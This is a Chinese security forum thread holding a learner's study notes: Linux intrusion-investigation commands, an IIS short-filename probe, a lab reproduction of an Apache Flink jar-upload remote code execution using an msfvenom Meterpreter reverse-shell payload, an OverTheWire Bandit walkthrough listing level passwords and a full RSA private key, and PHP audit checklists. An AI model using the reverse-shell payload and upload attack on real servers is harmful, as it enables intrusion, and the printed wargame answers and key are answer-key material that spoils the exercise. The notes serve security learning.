安全矩阵

 找回密码
 立即注册
搜索
12
返回列表 发新帖
楼主: 岑云木

岑云木学习日记

[复制链接]

1

主题

14

帖子

67

积分

注册会员

Rank: 2

积分
67
 楼主| 发表于 2021-3-21 23:17:12 | 显示全部楼层
文件分析-敏感文件信息
  在linux系统下一切都是文件。其中/tmp是一个特别的临时文件。每个用户都可以对他进行操作。因此一个普通用户可以对/tmp目录执行读写操作。 ls -alt /
文件分析-敏感文件信息
查看开机启动项内容 /etc/init.d/,恶意代码很有可能设置在开机自启动的位置。
  查看指定目录下文件时间顺序的排序:ls -alt | head -n 10
  查看文件时间属性 : stat 文件名
文件分析-敏感文件信息
新增文件分析:
查找24小时内被修改的文件
find ./ -mtime 0 -name "*.php"
查找72小时内新增的文件
find ./-crtime -2 name "*.php"
权限查找:在linux系统中,如果具有777权限,那么文件很有可疑。
find./-iname ".php" -perm 777 其中 -iname忽略大小写,-perm用于 设定筛选文件权限
进程分析-网络连接分析
在linux中可以使用netstat 进行网络连接查看
netstat -Print network connections ,routing tables,interface statistics,masquerade connections,and multicast memberships
若想查看具体参数可参照 man netstat
常用命令netstat -pantl 查看处于tcp网络套接字相关信息。
关闭未知连接 kill -9 pid即可关闭
进程分析-进程所对文件
在linux可以使用ps查看进程相关信息。
使用ps aux查看 所有进程信息
使用ps aux|grep PID 筛选具体PID的进程信息,losf -i:端口号 也可以实现类似功能
登陆分析
在linux做的操作都会被记录到系统日志中,对于登录也可以查看日志信息查看是否有异常登录。
last 命令last -i| grep -v 0.0.0.0 查看登陆日志,筛选非本地登录
w命令 实时登录查看
异常用户分析排查
在linux 中 root用户是一个无敌的存在,可以在linux上做任何事情。
新建用户 useradd username
设置密码 passwd username输出密码
设置用户 uid 和gid都为0.(root用户的uid为0 gid为0)
cat /etc/passwd
grep "0:0"/etc/passwd
ls -l /etc/passwd
awk -F:'$3==0 {print $1}'/etc/passwd
awk -F:'$2=="!"{print $1}'/etc/shadow 或awk -F:'length($2)==0{print $1}'/etc/shadow
历史命令分析history
在linux系统中默认会记录之前执行的命令 /root/.bash_history文件中。用户可以使用cat /root/.bash_history进行查看或者使用history命令查看
pay attention:wegt(可能远程下载木马)、SSH(连接内网主机)、tar zip类命令(数据打包)、系统配置等(命令修改)
计划任务排查crontab
在Linux系统中使用命令crontab进行计划任务的设定
其中-e可以用来编辑设定计划任务,-l可以用来查看当前计划任务,-d用来删除计划任务。
特别注意计划任务中未知内容
开机启动项
在linux(Debian)系统中 /etc/init.d/目录下保存着 开机自启动程序的目录
用户可以直接使用 /etc/init.d/程序名称 status 查看状态
使用update-rc.d程序名称 disable取消开启自启动 enable打开开机启动
$path 变量异常
后门排查 -rkhunter
rkhunker具有以下功能:
1.系统命令检测,MD5校验
2、ROOkit检测
3.本机敏感目录、系统配置异常检测
rkhunker -check -sk   -c,--check(check the local system)
--sk,--skip -keypress  don't wait for a keypress after each test
回复

使用道具 举报

1

主题

14

帖子

67

积分

注册会员

Rank: 2

积分
67
 楼主| 发表于 2021-3-31 23:48:23 | 显示全部楼层
本帖最后由 岑云木 于 2021-3-31 23:49 编辑

目标页面存在iis短文件名泄露漏洞 ,可通过手工猜解和工具猜解,可直接猜解后台地址,猜解敏感文件,例如备份的rar、zip、.bak、.SQL文件等。在某些情形下,甚至可以通过短文件名web直接下载对应的文件。比如下载备份SQL文件。
猜解出的文件目录,可直接访问
可构造类似如下payload:

http://www.xxx.com/*~1****/a.aspx、  http://www.xxx.com/1234*~1****/a.aspx

依次猜解文件名(文件名存在会返回404页面,不存在会提示提示错误页面)

猜解出来的目录可直接进行访问,可猜解后台地址, 猜解敏感文件,例如备份的rar、zip、.bak、.sql文件等,甚至可以通过短文件名web直接下载对应的文件。
C:\Users\Ricardo\Desktop\1.png

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

1

主题

14

帖子

67

积分

注册会员

Rank: 2

积分
67
 楼主| 发表于 2021-4-13 19:47:44 | 显示全部楼层
本帖最后由 岑云木 于 2021-4-13 19:50 编辑

Apache Flink任意Jar包上传致RCE 漏洞-技术漏洞复现

一.        环境搭建
1.        需要java8环境
2.        安装flink,下载地址:https://archive.apache.org/dist/ ... -bin-scala_2.11.tgz
3.        在此使用kali搭建flink也作为攻击机,使用tar -zxvf flink-1.9.1-bin-scala_2.11.tgz

解压缩后cd进入flink-1.9.1/bin目录 ,运行./start-cluster.sh

二.设置攻击载荷
回到msfvenom设置载荷:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.85.128 LPORT=4445 -f jar >shell.jar

三.设置监听
在msfconsole中设置监听和payload,设置地址为主机地址(公网vps地址),设置端口为4445(任意)


浏览器中输入:127.0.0.1:8081进入flink平台,上传且submit攻击载荷shell.jar

点击提交后在msfconsole获取回弹信息,输入whoami确认获取到root权限


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

1

主题

14

帖子

67

积分

注册会员

Rank: 2

积分
67
 楼主| 发表于 2021-4-23 23:39:10 | 显示全部楼层
本帖最后由 岑云木 于 2021-4-23 23:43 编辑

overthewire.org靶场 1-26从上到下 分别为 1-26 密钥
使用ssh远程 拿到flag
ssh bandit(0-26)@bandit.labs.overthewire.org -p 2220
boJ9jbbUNNfktd78OOpsqOltutMc3MY1(bandit1)
ssh bandit1@bandit.labs.overthewire.org -p 2220
/home/bandit1/-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
pIwrPrtPN36QITSp3EQaw936yaFoFgAB(密钥写在一个隐藏文件里面,通过ls -a参数可以找到隐藏文件)
koReBOKuIDDepwhWk7jZC0RTdopnAYKh(文件说在人类能读懂的文件里面,可以看到当前目录有9个文件,通过file命令可以用于辨识文件类型。file ./*)
DXjZPULLxYr17uwoI01bNLQbtFemEgo7
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs(find / -size 33c -user bandit7 -group bandit6 2>/dev/null 后面的2>/dev/null因为find命令在根目录下查找会经常有很多权限的报错信息,所有在linux中通常用这种方式将错误信息重定向到“黑洞中”)
cvX2JJa4CFALtqS87jk27qwqGhBM9plV(根据提示data.txt中在密钥在millionth中,可以通过grep命令查看)
UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR(这题是要找到出现一次的那个行,肯定用uniq命令了,但是使用之前需要用sort命令对文本进行排序,因为uniq命令是通过判断上下两行是否一样来判断的,所以用sort排序一下然后在uniq就能找到唯一出现的那一行了

sort data.txt|uniq -u
sort data.txt|uniq -c
这题找到两种解法,一个是直接-u获取,还有就是-c列出出现的次数,然后从中找到是1的那一行即可)
truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk(直接使用cat命令是很多很杂乱的东西,可以通过string命令查看文件中的字符串,根据提示信息可得下一关密钥以若干个“=”开头,可以找到下一关的密钥)
IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR(题目提示密钥信息用了base64解码,我们解码即可
bandit10@bandit:~$ base64 -d data.txt)
5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu(cat data.txt |tr 'a-zA-Z' 'n-za-mN-ZA-M')
  tr用来从标准输入中通过替换或删除操作进行字符转换。tr主要用于删除文件中控制字符或进行字符转换。使用tr时要转换两个字符串:字符串1用于查询,字符串2用于处理各种转换。tr刚执行时,字符串1中的字符被映射到字符串2中的字符,然后转换操作开始。
     带有最常用选项的tr命令格式为:
  tr -c -d -s [“string1_to_translate_from”][“string2_to_translate_to”] < input-file
  Rot13是一种特殊的凯撒密码转换,根据题目所说的字母的的顺序旋转了13个位置,就相当去26个字母的前13个位置与后13个位置调换了。那么我们就是用tr命令进行调换
8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL(/tmp/c1911 lingshiwenjianjia  xxd  -r data.txt > data.bin  尝试用xxd转成bin 复制完是gzip格式,改文件名,解压。 mv data.bin data.gz  gzip -d data.gz  
(data: bzip2 compressed data, block size = 900k 还有一层bzip2 ???, 继续解压 mv data data.bz2   bunzip2 -d data.bz2)(mv data data.tar tar xvf data.tar)(data5.bin: POSIX tar archive (GNU)   mv data5.bin data5.tar tar xvf data5.ta)
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
BfMYroe26WYalil77FoDi9qh59eK5xNr
cluFn7wTiGryunymYOu4RcffSxQluehd(这题说是要通过ssl发送本关密码才可以的获得下一关的密钥信息。需要用到openssl。openssl s_client -connect localhost  -port 30001)
nmap -sV localhost -p 31000-32000
私密钥
ssh -i 密钥 banditxx@localhost 连接
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----

xLYVMN9WE5zQ5vHacb0sZEVqbrp7nBTn
kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n(
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
)
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
回复

使用道具 举报

1

主题

14

帖子

67

积分

注册会员

Rank: 2

积分
67
 楼主| 发表于 2021-4-24 22:44:48 | 显示全部楼层
                  php危险函数
代码执行:
   执行代码函数:
  eval()
     assert()
         preg_replace()
           create_function()
                array_map()
                call_user_func()
               call_user_func_array()
              array_filter
             usort
              uasort()
命令执行:
   命令执行函数:
   system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
文件包含:
文件包含函数:
require
include
require_ once
include once
任意文件读取:
   文件读取函数:
   copy
file_get_contents()
highlight_file()
fopen()
read file()
fread()
fgetss()
fgets()
parse_ini_file()
show_source()
file()
特殊函数:
信息泄露函数:
bool phpinfo()
xss
  存储型xss:
   将数据插入到数据库中
重点审计 update insert 等sql语句
反射型xss:
将数据输出到页面中
重点审计 echo print_r 等输出语句
越权:
水平越权:
就是相同级别(权限)的用户或者同一角色不同的用户之间,可以越权访问、修改或者删除的非法操作。如果出现次漏洞,那么将可能会造成大批量数据泄露,严重的甚至会造成用户信息被恶意篡改。

垂直越权:
垂直越权是不同级别之间或不同角色之间的越权;垂直越权又别分为向上越权与向下越权。比如,某些网站,像发布文章、删除文章等操作属于管理员该做的事情。假设一个匿名用户也可以做相同的事情,这就叫做向上越权;向下越权是一个高级用户可以访问低级用户信息。
POST或GET请求中有可控参数
XXE
PHP SimpleXML 函数:

__construct()
addAttribute()
addChild()
asXML()
attributes()
children()
getDocNamespaces()
getName()
getNamespaces()
registerXPathNamespace()
simplexml_import_dom()
simplexml_load_file()
simplexml_load_string()
xpath()
sql注入
搜索:

select from
mysql_connect
mysql_query
update
delete
insert
urldecode
rawurldecode
反序列化
漏洞原理:unserialize函数的变量可控,php文件中存在可利用的类,类中有magic方法。
序列化函数:

serialize()

反序列化函数:

unserialize()

魔术函数

__construc()
__destruct()
__call()
__callStatic()
__get()
__set()
__isset()
__unset()
__sleep()
__wakeup()
__toString()
__invoke()
__set_state()
__clone()
__debuginfo()
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:43 , Processed in 0.020464 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表